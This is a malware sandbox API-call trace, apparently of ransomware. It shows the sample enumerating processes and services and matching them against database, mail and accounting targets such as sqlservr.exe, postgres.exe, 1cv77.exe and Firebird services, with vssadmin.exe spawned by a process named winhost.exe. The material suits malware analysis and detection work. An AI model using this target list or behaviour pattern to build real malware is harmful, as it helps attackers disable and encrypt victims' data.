lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0211.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0211.285] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.287] lstrlenW (lpString="csrss.exe") returned 9 [0211.287] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0211.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0211.288] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0211.288] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0211.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0211.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0211.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0211.289] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.290] lstrlenW (lpString="winlogon.exe") returned 12 [0211.290] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0211.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0211.290] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0211.291] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0211.291] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0211.291] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0211.291] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0211.291] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.472] lstrlenW (lpString="services.exe") returned 12 [0211.472] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0211.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0211.473] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0211.474] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0211.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0211.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0211.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0211.474] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.479] lstrlenW (lpString="lsass.exe") returned 9 [0211.479] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0211.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0211.480] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0211.480] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0211.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0211.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0211.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0211.483] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.487] lstrlenW (lpString="lsm.exe") returned 7 [0211.487] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0211.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0211.487] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0211.488] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0211.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0211.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0211.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0211.488] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.494] lstrlenW (lpString="svchost.exe") returned 11 [0211.494] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.494] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.494] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.496] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.498] lstrlenW (lpString="svchost.exe") returned 11 [0211.498] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.498] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.498] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.499] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.499] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.499] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.499] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.501] lstrlenW (lpString="svchost.exe") returned 11 [0211.501] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.501] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.501] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.503] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.504] lstrlenW (lpString="svchost.exe") returned 11 [0211.504] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.504] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.506] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.506] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.506] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.506] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.507] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.508] lstrlenW (lpString="svchost.exe") returned 11 [0211.508] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.508] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.509] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.509] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.509] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.509] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.509] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.511] lstrlenW (lpString="audiodg.exe") returned 11 [0211.511] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0211.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0211.511] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0211.511] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0211.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0211.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0211.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0211.513] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.516] lstrlenW (lpString="svchost.exe") returned 11 [0211.516] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0211.516] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0211.516] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0211.516] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0211.517] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0211.517] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0211.517] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0211.517] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0211.519] lstrlenW (lpString="userinit.exe") returned 12 [0211.519] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0211.519] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0211.520] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0211.520] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0211.520] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0211.520] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0211.521] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0211.521] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.523] lstrlenW (lpString="explorer.exe") returned 12 [0211.523] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.527] lstrlenW (lpString="dwm.exe") returned 7 [0211.527] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.529] lstrlenW (lpString="svchost.exe") returned 11 [0211.530] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0212.357] lstrlenW (lpString="winhost.exe") returned 11 [0212.358] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.359] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.359] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0212.361] lstrlenW (lpString="dllhost.exe") returned 11 [0212.361] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.362] lstrlenW (lpString="svchost.exe") returned 11 [0212.362] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.364] lstrlenW (lpString="taskhost.exe") returned 12 [0212.364] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.366] lstrlenW (lpString="cmd.exe") returned 7 [0212.366] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0212.369] lstrlenW (lpString="reader_sl.exe") returned 13 [0212.369] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.370] lstrlenW (lpString="conhost.exe") returned 11 [0212.371] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.373] lstrlenW (lpString="vssadmin.exe") returned 12 [0212.374] Process32NextW (in: hSnapshot=0x300, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0212.375] CloseHandle (hObject=0x300) returned 1 [0212.376] Sleep (dwMilliseconds=0x1f4) [0214.351] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x601130 [0214.816] EnumServicesStatusExW (in: hSCManager=0x601130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0214.820] GetLastError () returned 0xea [0214.820] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa64) returned 0x432f038 [0214.820] EnumServicesStatusExW (in: hSCManager=0x601130, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432f038, cbBufSize=0xa64, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432f038, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0214.822] CloseServiceHandle (hSCObject=0x601130) returned 1 [0214.823] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.825] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.825] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.825] lstrlenW (lpString="AudioSrv") returned 8 [0214.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0214.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0214.825] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0214.825] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0214.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0214.825] lstrlenW (lpString="BFE") returned 3 [0214.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.826] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.826] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.826] lstrlenW (lpString="CscService") returned 10 [0214.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0214.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0214.826] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0214.826] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0214.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0214.826] lstrlenW (lpString="DcomLaunch") returned 10 [0214.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.827] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.827] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.827] lstrlenW (lpString="Dhcp") returned 4 [0214.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.828] lstrlenW (lpString="Dnscache") returned 8 [0214.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.828] lstrlenW (lpString="eventlog") returned 8 [0214.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0214.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0214.829] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0214.829] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0214.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0214.829] lstrlenW (lpString="EventSystem") returned 11 [0214.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.829] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.829] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.829] lstrlenW (lpString="gpsvc") returned 5 [0214.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.830] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.830] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.830] lstrlenW (lpString="lmhosts") returned 7 [0214.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.830] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.830] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.831] lstrlenW (lpString="MMCSS") returned 5 [0214.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0214.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0214.831] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0214.832] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0214.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0214.832] lstrlenW (lpString="MpsSvc") returned 6 [0214.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.832] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.832] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.832] lstrlenW (lpString="nsi") returned 3 [0214.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.833] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.833] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.833] lstrlenW (lpString="PlugPlay") returned 8 [0214.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.835] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.835] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.835] lstrlenW (lpString="Power") returned 5 [0214.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.836] lstrlenW (lpString="ProfSvc") returned 7 [0214.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.836] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.836] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.837] 